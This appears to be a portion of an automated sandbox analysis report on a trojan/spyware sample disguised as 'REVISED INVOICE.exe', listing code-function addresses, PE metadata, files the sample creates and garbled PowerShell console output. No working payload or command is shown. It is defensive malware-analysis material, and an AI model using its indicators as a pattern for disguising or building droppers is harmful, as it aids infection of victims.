Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215804D8 5_2_215804D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215872D8 5_2_215872D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215890D8 5_2_215890D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215844DA 5_2_215844DA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158E6DA 5_2_2158E6DA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215832C8 5_2_215832C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215804C8 5_2_215804C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215872C8 5_2_215872C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215890CA 5_2_215890CA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158A8C0 5_2_2158A8C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215824F0 5_2_215824F0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215844E8 5_2_215844E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158E6E8 5_2_2158E6E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158CEEF 5_2_2158CEEF
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158D890 5_2_2158D890
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21588090 5_2_21588090
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158C097 5_2_2158C097
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158D880 5_2_2158D880
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215832BA 5_2_215832BA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215852B0 5_2_215852B0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158A8B0 5_2_2158A8B0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2158C0A8 5_2_2158C0A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215812A0 5_2_215812A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215880A0 5_2_215880A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215852A0 5_2_215852A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C7D40 5_2_215C7D40
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C1940 5_2_215C1940
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C4B40 5_2_215C4B40
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C0360 5_2_215C0360
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C3560 5_2_215C3560
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C6760 5_2_215C6760
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C7700 5_2_215C7700
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C1300 5_2_215C1300
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C4500 5_2_215C4500
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C9320 5_2_215C9320
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C2F20 5_2_215C2F20
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C6120 5_2_215C6120
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C89C0 5_2_215C89C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C25C0 5_2_215C25C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C57C0 5_2_215C57C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C5DEF 5_2_215C5DEF
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C73E0 5_2_215C73E0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C0FE0 5_2_215C0FE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C41E0 5_2_215C41E0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C8380 5_2_215C8380
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C1F80 5_2_215C1F80
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C5180 5_2_215C5180
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C89B0 5_2_215C89B0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C09A0 5_2_215C09A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C3BA0 5_2_215C3BA0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C6DA0 5_2_215C6DA0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C9640 5_2_215C9640
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C0040 5_2_215C0040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C3240 5_2_215C3240
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C6440 5_2_215C6440
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C3870 5_2_215C3870
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C8060 5_2_215C8060
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C1C60 5_2_215C1C60
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C4E60 5_2_215C4E60
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C9000 5_2_215C9000
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C2C00 5_2_215C2C00
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C5E00 5_2_215C5E00
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C9630 5_2_215C9630
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C6432 5_2_215C6432
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C7A20 5_2_215C7A20
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C1620 5_2_215C1620
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C4820 5_2_215C4820
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C8CD0 5_2_215C8CD0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C70C0 5_2_215C70C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C0CC0 5_2_215C0CC0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C3EC0 5_2_215C3EC0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C8CE0 5_2_215C8CE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C28E0 5_2_215C28E0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C5AE0 5_2_215C5AE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C0680 5_2_215C0680
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C3880 5_2_215C3880
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C6A80 5_2_215C6A80
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C86A0 5_2_215C86A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C22A0 5_2_215C22A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_215C54A0 5_2_215C54A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169A5E8 5_2_2169A5E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169CB68 5_2_2169CB68
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21691360 5_2_21691360
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169E148 5_2_2169E148
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169AF48 5_2_2169AF48
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21692B48 5_2_21692B48
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169134F 5_2_2169134F
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169C528 5_2_2169C528
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169F728 5_2_2169F728
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21692B38 5_2_21692B38
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169DB08 5_2_2169DB08
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169A908 5_2_2169A908
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21690508 5_2_21690508
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169D7E8 5_2_2169D7E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169BBC8 5_2_2169BBC8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169EDC8 5_2_2169EDC8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216909C0 5_2_216909C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216909D0 5_2_216909D0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169D1A8 5_2_2169D1A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216921AA 5_2_216921AA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216939A0 5_2_216939A0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216921B8 5_2_216921B8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169B588 5_2_2169B588
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169E788 5_2_2169E788
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21693990 5_2_21693990
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169B268 5_2_2169B268
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21693E68 5_2_21693E68
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169E468 5_2_2169E468
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21692671 5_2_21692671
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169C848 5_2_2169C848
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169FA48 5_2_2169FA48
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21690040 5_2_21690040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21693E57 5_2_21693E57
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169AC28 5_2_2169AC28
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21691828 5_2_21691828
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169DE28 5_2_2169DE28
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169FA38 5_2_2169FA38
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169C208 5_2_2169C208
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169F408 5_2_2169F408
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21693000 5_2_21693000
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21691818 5_2_21691818
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21693010 5_2_21693010
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169BEE8 5_2_2169BEE8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169F0E8 5_2_2169F0E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216904F8 5_2_216904F8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21691CF0 5_2_21691CF0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169D4C8 5_2_2169D4C8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216934C7 5_2_216934C7
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_216934D8 5_2_216934D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21691CDF 5_2_21691CDF
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169EAA8 5_2_2169EAA8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169B8A8 5_2_2169B8A8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_2169CE88 5_2_2169CE88
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21690E8A 5_2_21690E8A
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21692680 5_2_21692680
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21690E98 5_2_21690E98
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21722E78 5_2_21722E78
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21723558 5_2_21723558
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21723C38 5_2_21723C38
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21724318 5_2_21724318
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_217249F8 5_2_217249F8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_217250D8 5_2_217250D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_217257B8 5_2_217257B8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21722E68 5_2_21722E68
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21720040 5_2_21720040
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21723548 5_2_21723548
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21722130 5_2_21722130
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21722121 5_2_21722121
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21723C29 5_2_21723C29
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21722B00 5_2_21722B00
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21724308 5_2_21724308
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_217249E8 5_2_217249E8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21720ED8 5_2_21720ED8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_21720EC9 5_2_21720EC9
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_217250C9 5_2_217250C9
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_217257A8 5_2_217257A8
PE / OLE file has an invalid certificate
Source: REVISED INVOICE.exe Static PE information: invalid certificate
Uses 32bit PE files
Source: REVISED INVOICE.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@5/16@28/8
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_0040326A EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040326A
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_0040457E GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_0040457E
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00402095 CoCreateInstance, 0_2_00402095
Source: C:\Users\user\Desktop\REVISED INVOICE.exe File created: C:\Program Files (x86)\Common Files\Hemicrane.ini Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe File created: C:\Users\user\AppData\Local\fona Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Users\user\Desktop\REVISED INVOICE.exe File created: C:\Users\user\AppData\Local\Temp\nsrC65B.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................D........%.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................D........%.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................s.t.r.i.n.g.....................H........%.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.6........&.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H......."&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H.......4&.........................s....................^....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................D.......A&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................D.......U&.........................s....................^....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......b&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......t&.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .l.i.d.a.t.i.o.n.E.x.c.e.p.t.i.o.n..&.........................s............8.......(....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................&.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........(.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........(.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........(.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........(.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........(.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........(.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........(.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................(.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........).........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h.......').........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h.......3).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................4.......H).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......T).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................z).........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........).........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................).........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................).........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................).........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................).........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................*.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................*.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......+*.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................h.......?*.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......L*.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................*.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................*.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........*.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......*+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................=+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................I+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..................... .......\+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................(.......i+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................(.......{+.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................0........+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................|........+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................|........+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................+.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........+.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........+.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......!,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......3,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......?,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......Q,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......],.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......o,.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......{,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................4........,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........,.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........,.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........-.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........-.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........-.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......:-.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......L-.........................s....................`....................... Jump to behavior
